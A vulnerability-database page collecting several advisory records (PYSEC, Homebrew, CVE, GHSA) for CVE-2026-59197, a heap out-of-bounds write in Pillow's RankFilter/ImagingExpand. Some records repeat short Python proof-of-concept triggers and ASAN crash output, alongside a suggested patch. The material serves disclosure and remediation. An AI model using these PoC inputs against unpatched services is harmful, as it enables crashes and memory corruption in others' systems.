Vulnerability-Lookup

PYSEC-2026-3454

Vulnerability from pysec - Published: 2026-07-14 17:17 - Updated: 2026-07-22 09:57

Details

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Impacted products

Name	purl
pillow	pkg:pypi/pillow

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow",
        "purl": "pkg:pypi/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0",
        "1.1",
        "1.2",
        "1.3",
        "1.4",
        "1.5",
        "1.6",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "1.7.8",
        "10.0.0",
        "10.0.1",
        "10.1.0",
        "10.2.0",
        "10.3.0",
        "10.4.0",
        "11.0.0",
        "11.1.0",
        "11.2.1",
        "11.3.0",
        "12.0.0",
        "12.1.0",
        "12.1.1",
        "12.2.0",
        "2.0.0",
        "2.1.0",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.7.0",
        "2.8.0",
        "2.8.1",
        "2.8.2",
        "2.9.0",
        "3.0.0",
        "3.1.0",
        "3.1.0.rc1",
        "3.1.0rc1",
        "3.1.1",
        "3.1.2",
        "3.2.0",
        "3.3.0",
        "3.3.1",
        "3.3.2",
        "3.3.3",
        "3.4.0",
        "3.4.1",
        "3.4.2",
        "4.0.0",
        "4.1.0",
        "4.1.1",
        "4.2.0",
        "4.2.1",
        "4.3.0",
        "5.0.0",
        "5.1.0",
        "5.2.0",
        "5.3.0",
        "5.4.0",
        "5.4.0.dev0",
        "5.4.1",
        "6.0.0",
        "6.1.0",
        "6.2.0",
        "6.2.1",
        "6.2.2",
        "7.0.0",
        "7.1.0",
        "7.1.1",
        "7.1.2",
        "7.2.0",
        "8.0.0",
        "8.0.1",
        "8.1.0",
        "8.1.1",
        "8.1.2",
        "8.2.0",
        "8.3.0",
        "8.3.1",
        "8.3.2",
        "8.4.0",
        "9.0.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.2.0",
        "9.3.0",
        "9.4.0",
        "9.5.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59197",
    "GHSA-xj96-63gp-2gmr"
  ],
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.",
  "id": "PYSEC-2026-3454",
  "modified": "2026-07-22T09:57:10.158882Z",
  "published": "2026-07-14T17:17:14.487Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/pull/9695"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

BREW-AIDER-CVE-2026-59197 (GHSA-XJ96-63GP-2GMR)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-09 23:40 – Source website

Summary

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Details

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation. With size = 4294967295, the expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes the output dimensions with unchecked signed int arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Severity

8.2 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

References

URL

Type

	https://github.com/python-pillow/Pillow/security/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-59197	ADVISORY
	https://github.com/python-pillow/Pillow/pull/9695	WEB
	https://github.com/python-pillow/Pillow/commit/cc…	WEB
	https://github.com/python-pillow/Pillow	PACKAGE
	https://github.com/python-pillow/Pillow/releases/…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "pillow",
        "resource_purl": "pkg:pypi/pillow@12.1.1",
        "upstream_fixed_in": "12.3.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "aider",
        "purl": "pkg:brew/aider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pillow@12.1.1",
        "name": "pillow",
        "resource": "pillow",
        "strategy": "registry",
        "subject_version": "12.1.1"
      }
    ]
  },
  "details": "### Summary\n\nPillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n    imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n    ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
  "id": "BREW-aider-CVE-2026-59197",
  "modified": "2026-09-09T23:40:56Z",
  "published": "2026-08-13T16:35:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`",
  "upstream": [
    "GHSA-xj96-63gp-2gmr",
    "BIT-pillow-2026-59197",
    "CVE-2026-59197",
    "PYSEC-2026-3454"
  ]
}

BREW-PILLOW-CVE-2026-59197 (CVE-2026-59197)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:28 – Updated: 2026-09-10 20:25 – Source website

Summary

Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Details

Severity

8.2 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

References

URL

Type

	https://github.com/python-pillow/Pillow/releases/…	WEB
	https://github.com/CVEProject/cvelistV5/tree/main…	ADVISORY
	https://github.com/python-pillow/Pillow/security/…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-59197	ADVISORY
	https://github.com/python-pillow/Pillow/commit/cc…	FIX
	https://github.com/python-pillow/Pillow/pull/9695	FIX

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "12.3.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pillow",
        "purl": "pkg:brew/pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/python-pillow/pillow",
        "name": "https://github.com/python-pillow/pillow",
        "strategy": "git",
        "subject_version": "12.3.0"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pillow@12.3.0",
        "name": "pillow",
        "strategy": "registry",
        "subject_version": "12.3.0"
      },
      {
        "ecosystem": "Debian",
        "key": "Debian/pillow",
        "name": "pillow",
        "strategy": "distro"
      },
      {
        "ecosystem": "GIT",
        "key": "upstream:https://github.com/python-pillow/pillow",
        "name": "https://github.com/python-pillow/pillow",
        "strategy": "distro",
        "subject_version": "12.3.0"
      },
      {
        "ecosystem": "PyPI",
        "key": "upstream:pkg:pypi/pillow@12.3.0",
        "name": "pillow",
        "strategy": "distro",
        "subject_version": "12.3.0"
      },
      {
        "ecosystem": "Ubuntu",
        "key": "Ubuntu/pillow",
        "name": "pillow",
        "strategy": "distro"
      }
    ]
  },
  "details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.",
  "id": "BREW-pillow-CVE-2026-59197",
  "modified": "2026-09-10T20:25:15Z",
  "published": "2026-08-13T17:28:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59197.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
    },
    {
      "type": "FIX",
      "url": "https://github.com/python-pillow/Pillow/pull/9695"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`",
  "upstream": [
    "CVE-2026-59197",
    "BIT-pillow-2026-59197",
    "GHSA-xj96-63gp-2gmr",
    "PYSEC-2026-3454"
  ]
}

CVE-2026-59197 (GCVE-0-2026-59197)

Vulnerability from cvelistv5 – Published: 2026-07-14 16:25 – Updated: 2026-07-21 18:50

Title

Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Summary

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-21 18:50 UTC

CWE

CWE-787 - Out-of-bounds Write
CWE-190 - Integer Overflow or Wraparound

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/python-pillow/Pillow/security/…	x_refsource_CONFIRM
https://github.com/python-pillow/Pillow/pull/9695	x_refsource_MISC
https://github.com/python-pillow/Pillow/commit/cc…	x_refsource_MISC
https://github.com/python-pillow/Pillow/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
python-pillow	Pillow	Affected: < 12.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59197",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-21T18:50:30.849980Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-21T18:50:40.019Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Pillow",
          "vendor": "python-pillow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 12.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-787",
              "description": "CWE-787: Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190: Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-14T16:25:23.520Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/pull/9695",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/pull/9695"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
        },
        {
          "name": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
        }
      ],
      "source": {
        "advisory": "GHSA-xj96-63gp-2gmr",
        "discovery": "UNKNOWN"
      },
      "title": "Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59197",
    "datePublished": "2026-07-14T16:25:23.520Z",
    "dateReserved": "2026-07-02T19:53:48.831Z",
    "dateUpdated": "2026-07-21T18:50:40.019Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-XJ96-63GP-2GMR

Vulnerability from github – Published: 2026-07-20 23:08 – Updated: 2026-07-20 23:08

Summary

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

Details

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

This is reachable through documented public classes (RankFilter, MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already called image.expand(...).

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T23:08:58Z",
    "nvd_published_at": "2026-07-14T17:17:14Z",
    "severity": "HIGH"
  },
